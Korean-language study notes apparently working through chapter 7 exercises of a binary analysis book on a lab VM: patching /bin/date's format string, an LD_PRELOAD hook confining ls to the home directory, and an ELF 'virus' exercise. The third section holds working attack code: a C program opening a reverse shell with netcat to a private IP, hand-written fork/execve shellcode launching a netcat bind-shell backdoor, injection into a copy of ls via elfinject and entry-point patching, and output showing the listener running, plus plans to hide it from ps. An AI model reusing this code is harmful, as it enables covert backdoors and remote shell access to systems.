1. 날짜 형식 바꾸기
/bin/date 프로그램을 복사한 후 hexeidt 도구를 사용해 날짜 문자열의 기본 형식을 수정해보자. 문자열의 기본 형식이 어떻게 생겼는지를 알고 싶다면 strings 도구를 활용하라.
%a, %d %b %Y %H:%M:%S %z
해당 문자열 확인
C
복사
hxd로 해당 타입 문자열이 존재하는 것을 확인
di 28 sep 2021 16:21:22 CEST를
한국식으로 2021 sep 28 di? 16:21:22 CEST로 변경해 보겠음
binary@binary-VirtualBox:~/code/chapter7/example$ ./date.modi
di 28 sep 2021 16:30:32 CEST
C
복사
되지 않아 지역을 미국으로 바꿈
binary@binary-VirtualBox:~/code/chapter7/example$ ./date.modi
Tue Sep 28 16:37:13 CEST 2021
C
복사
출력 양식이 바뀜
%a %b %e %H:%M:%S %Z %Y
요일 달 날짜
C
복사
위와 같이 변경
%Y %b %e %a %H:%M:%S %Z
binary@binary-VirtualBox:~/code/chapter7/example$ ./date.modi
Tue Sep 28 16:45:20 CEST 2021
C
복사
그래도 정상적으로 되지 않아 더이상 진행하지 않고 패스함.
%a, %Y %b %d %H:%M:%S %z
C
복사
해당 기준으로 출력되어야 하는게 정상이라고 생각함.
2. ls의 범위 제한하기
/bin/ls 프로그램을 복사한 후 LD_PRELOAD 기법을 활용해 디렉터리 리스팅 기능이 오직 사용자의 홈 디렉터리에만 국한되도록 개조해보자.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <dirent.h>
#include <dlfcn.h>
DIR* (*orig_opendir)(const char*);
DIR* opendir(const char* name)
{
if(!orig_opendir){
orig_opendir = dlsym(RTLD_NEXT, "opendir");
}
char pwd[100];
getcwd(pwd,100); // 현재 경로 확인
char* home = getenv("HOME"); // 유저 환경변수의 홈 디렉토리 확인
printf("pwd:%s\nHOME:%s\n",pwd,home);
if(strcasecmp(pwd,home)==0){ // 같을경우
printf("Here's Your Home Path!\n");
return orig_opendir(name);
}
else{ // 다를경우
printf("Here's Not Your a Home Path!\n");
exit(0);
}
C
복사
binary@binary-VirtualBox:~$ LD_PRELOAD=`pwd`/ls.so ./ls.new
pwd:/home/binary
HOME:/home/binary
Here's Your Home Path!
capstone Desktop Downloads libdft ls.new Music pin Templates Videos
code Documents kernel ls.c ls.so Pictures Public triton
binary@binary-VirtualBox:~/code/chapter7/example$ LD_PRELOAD=`pwd`/ls.so ./ls.new
pwd:/home/binary/code/chapter7/example
HOME:/home/binary
Here's Not Your Home Path!
binary@binary-VirtualBox:~/code/chapter7/example$
C
복사
3. ELF 바이러스
직접 ELF 바이러스를 개발하고 elfinject를 사용해 특정 프로그램을 감염시켜 보자. 바이러스는 백도어(backdoor)를 생성하는 자식 프로세스를 복제해야 한다.
추가적으로 ps 프로그램을 복사한 후 이를 개조해 여러분이 만든 바이러스 프로그램이 프로세스 목록에 표출되지 않도록 만들어 보자.
#include <stdio.h>
int main()
{
switch(fork())
{
case 0:
system("nc 192.168.145.139 8765 -e /bin/sh");
}
return 0;
}
C
복사
일단 리버스쉘만 되는걸로 심플하게 만들었다.
어셈블리로 컴파일
binary@binary-VirtualBox:~/code/chapter7/example$ gcc -S -masm=intel vuln.c
.file "vuln.c"
.intel_syntax noprefix
.section .rodata
.align 8
.LC0:
.string "nc 192.168.145.139 8765 -e /bin/sh"
.text
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
call fork
cmp eax, 0
jne .L2
mov edi, OFFSET FLAT:.LC0
call system
.L2:
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size main, .-main
.ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609"
.section .note.GNU-stack,"",@progbits
C
복사
사용할 부분만 추려서 재생산
BITS 64
SECTION .text
global main
main:
.LFB2:
push rbp
mov rbp, rsp
mov rax, 1
syscall //fork syscall
cmp rax, 0
jne .L2
mov rax, 5
mov rdi, nc
mov rsi, 0
mov rdx, 0
syscall //execve syscall
.L2:
mov eax, 0
pop rbp
push 0x4049a0 // return entrypoint
ret
nc db "nc 192.168.145.139 8765 -e /bin/sh" // strings
C
복사
잘 다듬었습니다.
Entry point address: 0x4049a0
[27] .injected PROGBITS 0000000000800e78 01ee78 00005a 00 AX 0 0 16
Entry point address: 0x800e78
C
복사
파일 엔트리포인트와 삽입한 섹션 시작주소 잘 확인합니다. hexedit으로 수정합니다.
이후 실행합니다.
binary@binary-VirtualBox:~/code/chapter7/example$ ./new
ls.c ls.so new test.c test.s vuln.bin vuln.c vuln.o vuln_old.s vuln.
C
복사
syscall 57번이 fork인데 1번가지고 하고 있었을까요
//최종 소스
BITS 64
SECTION .text
global main
main:
.LFB0:
push rbp
mov rbp, rsp
mov rax, 57
syscall
cmp rax, 0
jne .L2
lea rdi, [rel nc]
mov rax, 59
syscall
.L2:
mov rax, 0
pop rbp
push 0x4049a0
ret
nc db "nc -lvp 1234 -e /bin/sh &"
C
복사
작업 잘 하고 실행해봅니다
binary@binary-VirtualBox:~/code/chapter7/example$ vim c_vuln.s
binary@binary-VirtualBox:~/code/chapter7/example$ nasm -f bin -o c_vuln.bin c_vuln.s
binary@binary-VirtualBox:~/code/chapter7/example$ cp /bin/ls new
binary@binary-VirtualBox:~/code/chapter7/example$ ../elfinject new c_vuln.bin ".injected" 0x800000 -1
binary@binary-VirtualBox:~/code/chapter7/example$ hexedit new
binary@binary-VirtualBox:~/code/chapter7/example$ ./new
a.out c_vuln.bin c_vuln.c c_vuln.s ls.c ls.so new peda-session-new.txt s_vuln.s vuln.bin
C
복사
잘 안돌아갑니다. 계속 execve syscall에서 에러가 납니다.
실행파일 + 파라미터가 아닌 그냥 위에서 빌드한 nc를 실행하도록 합시다.
//최종
BITS 64
SECTION .text
global main
main:
.LFB0:
push rbp
mov rbp, rsp
mov rax,57
syscall
test eax, eax
jne .L2
lea edi, [rel nc]
mov eax, 59
mov rsi,0
mov rdx,0
syscall
.L2:
mov eax, 0
pop rbp
push 0x4049a0
ret
nc db "/home/binary/code/chapter7/example/runnc"
//소스코드
#include <stdio.h>
#include <unistd.h>
int main()
{
if(fork() == 0)
{
system("nc -lvp 1234 -e /bin/sh");
}
return 0;
}
binary@binary-VirtualBox:~/code/chapter7/example$ ./new
c_vuln.bin c_vuln.s last.s ls.so ncrun peda-session-new.txt runnc
c_vuln.c last.bin ls.c Makefile new ps.new vuln.bin
binary@binary-VirtualBox:~/code/chapter7/example$ listening on [any] 1234 ...
C
복사
nc가 잘 돌고 이제 ps를 수정해서 nc 프로세스가 보이지 않게 숨겨봅시다.
1.
PS 수정을 바이너리 인젝션으로 하려고 시도해봤지만 외부 라이브러리 사용이 불가하여 삽질 후 포기
2.
PS 자체 코드 수정은 fwrite로 문자열들을 입력받고, 최종적으로 _IO_new_file_xsputn으로 출력하나
a.
기본 옵션의 경우 fwrite 입력 할 때 마다 출력
b.
-f 옵션이 붙을 경우 한 라인을 한번에 모아서 출력하는게 다른점임.
3.
하지만 라이브러리 쪽은 코드수정이 불가능하므로 ps 실행 파일 내에서 변조할 방법을 찾아야함.